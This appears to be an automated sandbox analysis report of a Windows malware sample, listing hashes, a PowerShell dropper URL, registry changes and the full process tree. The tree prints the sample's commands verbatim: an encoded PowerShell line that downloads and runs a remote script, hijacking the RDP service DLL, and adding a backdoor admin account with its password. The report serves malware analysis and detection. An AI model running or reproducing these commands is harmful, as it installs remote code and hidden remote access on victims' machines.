Analysis
- max time kernel
70s - max time network
121s - platform
windows10_x64 - resource
win10v20210408 - submitted
18/06/2021, 08:29
Static task
static1
Behavioral task
behavioral1
Sample
6774f8a7d95a58ddab16d1c792ec846c.exe
Resource
win7v20210410
windows7_x64
0 signatures
0 seconds
Behavioral task
behavioral2
Sample
6774f8a7d95a58ddab16d1c792ec846c.exe
Resource
win10v20210408
windows10_x64
0 signatures
0 seconds
General
- Target 6774f8a7d95a58ddab16d1c792ec846c.exe
- Size 4.5MB
- Sample210618-dz577wl6dj
- SHA256 eb02c967fb3feaf5504a78de8a7e0513c2c4e52ddf2243bfbcb10e83954baaad
- MD5 6774f8a7d95a58ddab16d1c792ec846c
- SHA1 562b99cee396d3d22dde68d9de09214dc32a0dd4
- SHA512 b3c7b9e46f6b5ccc513708729bd79b0ffab4605a9c4bbce0f5209574a83f68b2353c67b4731b0bdb5aa398f33dbe97c9bf46f54f0c0680e3f2b74c83e7657019
- MD5 SHA1 SHA512
Score
10/10
Malware Config
Extracted
Language
-
ps1
Deobfuscated
Source
URLs
-
ps1.dropper
https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1
Signatures
- Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.
- Blocklisted process makes network request 5 IoCs
flow pid Process 17 3888 powershell.exe 19 3888 powershell.exe 20 3888 powershell.exe 21 3888 powershell.exe 23 3888 powershell.exe - Modifies RDP port number used by Windows 1 TTPs
- Sets DLL path for service in the registry 2 TTPs
-
resource yara_rule behavioral2/files/0x000600000001ab25-223.dat upx behavioral2/files/0x000800000001ab2b-224.dat upx - Loads dropped DLL 2 IoCs
pid Process 4020 Process not Found 4020 Process not Found - Drops file in Program Files directory 4 IoCs
description ioc Process File opened for modification C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.DAT powershell.exe File opened for modification C:\Program Files\Uninstall Information\IE40.UserAgent\IE40.UserAgent.INI powershell.exe File opened for modification C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.DAT powershell.exe File opened for modification C:\Program Files\Uninstall Information\IE.HKCUZoneInfo\IE.HKCUZoneInfo.INI powershell.exe - Drops file in Windows directory 19 IoCs
description ioc Process File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI32BA.tmp powershell.exe File opened for modification C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\INetCache\counters2.dat powershell.exe File created C:\Windows\branding\wupsvc.jpg powershell.exe File opened for modification C:\Windows\branding\mediasvc.png powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI32EB.tmp powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\branding\Basebrd powershell.exe File opened for modification C:\Windows\branding\wupsvc.jpg powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_qnwmpypi.vv5.psm1 powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI321D.tmp powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\__PSScriptPolicyTest_dvnktbiy.gv5.ps1 powershell.exe File created C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\TMP4352$.TMP powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI32DA.tmp powershell.exe File opened for modification C:\Windows\SERVIC~2\NETWOR~1\AppData\Local\Temp\RGI32FC.tmp powershell.exe File created C:\Windows\branding\mediasrv.png powershell.exe File created C:\Windows\branding\mediasvc.png powershell.exe File opened for modification C:\Windows\branding\ShellBrd powershell.exe File opened for modification C:\Windows\branding\mediasrv.png powershell.exe File created C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe - Modifies data under HKEY_USERS 64 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\CurrentLevel = "66816" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\file = "3" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\LowIcon = "inetcpl.cpl#005422" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0.map powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\CurrentLevel = "0" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\1200 = "0" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\1400 = "1" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyEnable = "0" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\LowIcon = "inetcpl.cpl#005424" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\Flags = "33" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\Icon = "shell32.dll#0018" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\Description = "This zone contains Web sites that could potentially damage your computer or data." powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\Flags = "33" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\1\Flags = "219" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4 powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\ powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\2\Icon = "inetcpl.cpl#00004480" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\ powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\PMDisplayName = "My Computer [Protected Mode]" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\ powershell.exe Set value (data) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0\57fd7ae31ab34c2c = 2c0053004f004600540057004100520045005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073005c0035002e0030005c00430061006300680065002c000000 powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\Icon = "shell32.dll#0016" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\0\PMDisplayName = "Computer [Protected Mode]" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup\0.map powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2\DisplayName = "Trusted sites" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\Flags = "1" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\4\1400 = "3" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\PMDisplayName = "Internet [Protected Mode]" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\DisplayName = "My Computer" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\PMDisplayName = "Computer [Protected Mode]" powershell.exe Set value (data) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE40.UserAgent\RegBackup\0\2ba02e083fadee33 = 2c0053006f006600740077006100720065005c004d006900630072006f0073006f00660074005c00570069006e0064006f00770073005c00430075007200720065006e007400560065007200730069006f006e005c0049006e007400650072006e00650074002000530065007400740069006e00670073002c004900450035005f00550041005f004200610063006b00750070005f0046006c00610067002c0000000100080035002e0030000000000000000000 powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0 powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\4\DisplayName = "Restricted sites" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\CurrentLevel = "70912" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\DisplayName = "Computer" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1 powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\DisplayName = "Internet" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProtocolDefaults\ftp = "3" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\2 powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\LowIcon = "inetcpl.cpl#005423" powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\Advanced INF Setup\IE.HKCUZoneInfo\RegBackup powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\EnableNegotiate = "1" powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\CurrentLevel = "0" powershell.exe Set value (data) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZonesSecurityUpgrade = 6ead5207ab2cd701 powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\S-1-5-20\Software\Microsoft\SystemCertificates\trust powershell.exe Set value (int) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\0\CurrentLevel = "0" powershell.exe Set value (str) \REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Lockdown_Zones\3\ powershell.exe - Modifies registry key 1 TTPs 1 IoCs
pid Process 4048 reg.exe - Runs net.exe
- Script User-Agent 4 IoCs
Uses user-agent string associated with script host/environment.
description flow ioc HTTP User-Agent header 19 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 20 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 21 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 23 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) - Suspicious behavior: EnumeratesProcesses 18 IoCs
pid Process 2872 powershell.exe 2872 powershell.exe 2872 powershell.exe 2232 powershell.exe 2232 powershell.exe 2232 powershell.exe 744 powershell.exe 744 powershell.exe 744 powershell.exe 3144 powershell.exe 3144 powershell.exe 3144 powershell.exe 2872 powershell.exe 2872 powershell.exe 2872 powershell.exe 3888 powershell.exe 3888 powershell.exe 3888 powershell.exe - Suspicious behavior: LoadsDriver 2 IoCs
pid Process 624 Process not Found 624 Process not Found - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2872 powershell.exe Token: SeDebugPrivilege 2232 powershell.exe Token: SeIncreaseQuotaPrivilege 2232 powershell.exe Token: SeSecurityPrivilege 2232 powershell.exe Token: SeTakeOwnershipPrivilege 2232 powershell.exe Token: SeLoadDriverPrivilege 2232 powershell.exe Token: SeSystemProfilePrivilege 2232 powershell.exe Token: SeSystemtimePrivilege 2232 powershell.exe Token: SeProfSingleProcessPrivilege 2232 powershell.exe Token: SeIncBasePriorityPrivilege 2232 powershell.exe Token: SeCreatePagefilePrivilege 2232 powershell.exe Token: SeBackupPrivilege 2232 powershell.exe Token: SeRestorePrivilege 2232 powershell.exe Token: SeShutdownPrivilege 2232 powershell.exe Token: SeDebugPrivilege 2232 powershell.exe Token: SeSystemEnvironmentPrivilege 2232 powershell.exe Token: SeRemoteShutdownPrivilege 2232 powershell.exe Token: SeUndockPrivilege 2232 powershell.exe Token: SeManageVolumePrivilege 2232 powershell.exe Token: 33 2232 powershell.exe Token: 34 2232 powershell.exe Token: 35 2232 powershell.exe Token: 36 2232 powershell.exe Token: SeDebugPrivilege 744 powershell.exe Token: SeIncreaseQuotaPrivilege 744 powershell.exe Token: SeSecurityPrivilege 744 powershell.exe Token: SeTakeOwnershipPrivilege 744 powershell.exe Token: SeLoadDriverPrivilege 744 powershell.exe Token: SeSystemProfilePrivilege 744 powershell.exe Token: SeSystemtimePrivilege 744 powershell.exe Token: SeProfSingleProcessPrivilege 744 powershell.exe Token: SeIncBasePriorityPrivilege 744 powershell.exe Token: SeCreatePagefilePrivilege 744 powershell.exe Token: SeBackupPrivilege 744 powershell.exe Token: SeRestorePrivilege 744 powershell.exe Token: SeShutdownPrivilege 744 powershell.exe Token: SeDebugPrivilege 744 powershell.exe Token: SeSystemEnvironmentPrivilege 744 powershell.exe Token: SeRemoteShutdownPrivilege 744 powershell.exe Token: SeUndockPrivilege 744 powershell.exe Token: SeManageVolumePrivilege 744 powershell.exe Token: 33 744 powershell.exe Token: 34 744 powershell.exe Token: 35 744 powershell.exe Token: 36 744 powershell.exe Token: SeDebugPrivilege 3144 powershell.exe Token: SeIncreaseQuotaPrivilege 3144 powershell.exe Token: SeSecurityPrivilege 3144 powershell.exe Token: SeTakeOwnershipPrivilege 3144 powershell.exe Token: SeLoadDriverPrivilege 3144 powershell.exe Token: SeSystemProfilePrivilege 3144 powershell.exe Token: SeSystemtimePrivilege 3144 powershell.exe Token: SeProfSingleProcessPrivilege 3144 powershell.exe Token: SeIncBasePriorityPrivilege 3144 powershell.exe Token: SeCreatePagefilePrivilege 3144 powershell.exe Token: SeBackupPrivilege 3144 powershell.exe Token: SeRestorePrivilege 3144 powershell.exe Token: SeShutdownPrivilege 3144 powershell.exe Token: SeDebugPrivilege 3144 powershell.exe Token: SeSystemEnvironmentPrivilege 3144 powershell.exe Token: SeRemoteShutdownPrivilege 3144 powershell.exe Token: SeUndockPrivilege 3144 powershell.exe Token: SeManageVolumePrivilege 3144 powershell.exe Token: 33 3144 powershell.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 656 wrote to memory of 2872 656 6774f8a7d95a58ddab16d1c792ec846c.exe 75 PID 656 wrote to memory of 2872 656 6774f8a7d95a58ddab16d1c792ec846c.exe 75 PID 2872 wrote to memory of 2180 2872 powershell.exe 77 PID 2872 wrote to memory of 2180 2872 powershell.exe 77 PID 2180 wrote to memory of 1868 2180 csc.exe 78 PID 2180 wrote to memory of 1868 2180 csc.exe 78 PID 2872 wrote to memory of 2232 2872 powershell.exe 82 PID 2872 wrote to memory of 2232 2872 powershell.exe 82 PID 2872 wrote to memory of 744 2872 powershell.exe 85 PID 2872 wrote to memory of 744 2872 powershell.exe 85 PID 2872 wrote to memory of 3144 2872 powershell.exe 87 PID 2872 wrote to memory of 3144 2872 powershell.exe 87 PID 2872 wrote to memory of 1444 2872 powershell.exe 89 PID 2872 wrote to memory of 1444 2872 powershell.exe 89 PID 2872 wrote to memory of 4048 2872 powershell.exe 90 PID 2872 wrote to memory of 4048 2872 powershell.exe 90 PID 2872 wrote to memory of 2228 2872 powershell.exe 91 PID 2872 wrote to memory of 2228 2872 powershell.exe 91 PID 2872 wrote to memory of 2268 2872 powershell.exe 92 PID 2872 wrote to memory of 2268 2872 powershell.exe 92 PID 2268 wrote to memory of 3644 2268 net.exe 93 PID 2268 wrote to memory of 3644 2268 net.exe 93 PID 2872 wrote to memory of 2232 2872 powershell.exe 94 PID 2872 wrote to memory of 2232 2872 powershell.exe 94 PID 2232 wrote to memory of 3100 2232 cmd.exe 95 PID 2232 wrote to memory of 3100 2232 cmd.exe 95 PID 3100 wrote to memory of 3180 3100 cmd.exe 96 PID 3100 wrote to memory of 3180 3100 cmd.exe 96 PID 3180 wrote to memory of 696 3180 net.exe 97 PID 3180 wrote to memory of 696 3180 net.exe 97 PID 2872 wrote to memory of 3052 2872 powershell.exe 98 PID 2872 wrote to memory of 3052 2872 powershell.exe 98 PID 3052 wrote to memory of 3140 3052 cmd.exe 99 PID 3052 wrote to memory of 3140 3052 cmd.exe 99 PID 3140 wrote to memory of 1056 3140 cmd.exe 100 PID 3140 wrote to memory of 1056 3140 cmd.exe 100 PID 1056 wrote to memory of 3656 1056 net.exe 101 PID 1056 wrote to memory of 3656 1056 net.exe 101 PID 2128 wrote to memory of 2248 2128 cmd.exe 105 PID 2128 wrote to memory of 2248 2128 cmd.exe 105 PID 2248 wrote to memory of 2808 2248 net.exe 106 PID 2248 wrote to memory of 2808 2248 net.exe 106 PID 3172 wrote to memory of 3192 3172 cmd.exe 109 PID 3172 wrote to memory of 3192 3172 cmd.exe 109 PID 3192 wrote to memory of 188 3192 net.exe 110 PID 3192 wrote to memory of 188 3192 net.exe 110 PID 1220 wrote to memory of 3492 1220 cmd.exe 113 PID 1220 wrote to memory of 3492 1220 cmd.exe 113 PID 3492 wrote to memory of 3616 3492 net.exe 114 PID 3492 wrote to memory of 3616 3492 net.exe 114 PID 936 wrote to memory of 3112 936 cmd.exe 117 PID 936 wrote to memory of 3112 936 cmd.exe 117 PID 3112 wrote to memory of 3708 3112 net.exe 118 PID 3112 wrote to memory of 3708 3112 net.exe 118 PID 2248 wrote to memory of 2808 2248 cmd.exe 121 PID 2248 wrote to memory of 2808 2248 cmd.exe 121 PID 2808 wrote to memory of 1200 2808 net.exe 122 PID 2808 wrote to memory of 1200 2808 net.exe 122 PID 3192 wrote to memory of 1504 3192 cmd.exe 125 PID 3192 wrote to memory of 1504 3192 cmd.exe 125 PID 1504 wrote to memory of 3876 1504 net.exe 126 PID 1504 wrote to memory of 3876 1504 net.exe 126 PID 3624 wrote to memory of 2180 3624 cmd.exe 129 PID 3624 wrote to memory of 2180 3624 cmd.exe 129
Processes
-
C:\Users\Admin\AppData\Local\Temp\6774f8a7d95a58ddab16d1c792ec846c.exe"C:\Users\Admin\AppData\Local\Temp\6774f8a7d95a58ddab16d1c792ec846c.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:656 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'2⤵
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2872 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\igre2tk5\igre2tk5.cmdline"3⤵
- Suspicious use of WriteProcessMemory
PID:2180 -
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeC:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB7AD.tmp" "c:\Users\Admin\AppData\Local\Temp\igre2tk5\CSCFBE6C0A857364ABBA5611CB9C85C592.TMP"4⤵PID:1868
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2232
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:744
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3144
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f3⤵PID:1444
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f3⤵
- Modifies registry key
PID:4048
-
-
C:\Windows\system32\reg.exe"C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f3⤵PID:2228
-
-
C:\Windows\system32\net.exe"C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add3⤵
- Suspicious use of WriteProcessMemory
PID:2268 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add4⤵PID:3644
-
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr3⤵
- Suspicious use of WriteProcessMemory
PID:2232 -
C:\Windows\system32\cmd.execmd /c net start rdpdr4⤵
- Suspicious use of WriteProcessMemory
PID:3100 -
C:\Windows\system32\net.exenet start rdpdr5⤵
- Suspicious use of WriteProcessMemory
PID:3180 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start rdpdr6⤵PID:696
-
-
-
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c cmd /c net start TermService3⤵
- Suspicious use of WriteProcessMemory
PID:3052 -
C:\Windows\system32\cmd.execmd /c net start TermService4⤵
- Suspicious use of WriteProcessMemory
PID:3140 -
C:\Windows\system32\net.exenet start TermService5⤵
- Suspicious use of WriteProcessMemory
PID:1056 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 start TermService6⤵PID:3656
-
-
-
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f3⤵PID:2784
-
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f3⤵PID:936
-
-
-
C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc 000000 /del1⤵
- Suspicious use of WriteProcessMemory
PID:2128 -
C:\Windows\system32\net.exenet.exe user WgaUtilAcc 000000 /del2⤵
- Suspicious use of WriteProcessMemory
PID:2248 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc 000000 /del3⤵PID:2808
-
-
-
C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc w3X5nJXD /add1⤵
- Suspicious use of WriteProcessMemory
PID:3172 -
C:\Windows\system32\net.exenet.exe user WgaUtilAcc w3X5nJXD /add2⤵
- Suspicious use of WriteProcessMemory
PID:3192 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc w3X5nJXD /add3⤵PID:188
-
-
-
C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD1⤵
- Suspicious use of WriteProcessMemory
PID:1220 -
C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD2⤵
- Suspicious use of WriteProcessMemory
PID:3492 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD3⤵PID:3616
-
-
-
C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD1⤵
- Suspicious use of WriteProcessMemory
PID:936 -
C:\Windows\system32\net.exenet.exe LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD2⤵
- Suspicious use of WriteProcessMemory
PID:3112 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" GFBFPSXA$ /ADD3⤵PID:3708
-
-
-
C:\Windows\System32\cmd.execmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD1⤵
- Suspicious use of WriteProcessMemory
PID:2248 -
C:\Windows\system32\net.exenet.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD2⤵
- Suspicious use of WriteProcessMemory
PID:2808 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD3⤵PID:1200
-
-
-
C:\Windows\System32\cmd.execmd /C net.exe user WgaUtilAcc w3X5nJXD1⤵
- Suspicious use of WriteProcessMemory
PID:3192 -
C:\Windows\system32\net.exenet.exe user WgaUtilAcc w3X5nJXD2⤵
- Suspicious use of WriteProcessMemory
PID:1504 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user WgaUtilAcc w3X5nJXD3⤵PID:3876
-
-
-
C:\Windows\System32\cmd.execmd.exe /C wmic path win32_VideoController get name1⤵
- Suspicious use of WriteProcessMemory
PID:3624 -
C:\Windows\System32\Wbem\WMIC.exewmic path win32_VideoController get name2⤵PID:2180
-
-
C:\Windows\System32\cmd.execmd.exe /C wmic CPU get NAME1⤵PID:936
-
C:\Windows\System32\Wbem\WMIC.exewmic CPU get NAME2⤵PID:208
-
-
C:\Windows\System32\cmd.execmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA1⤵PID:1200
-
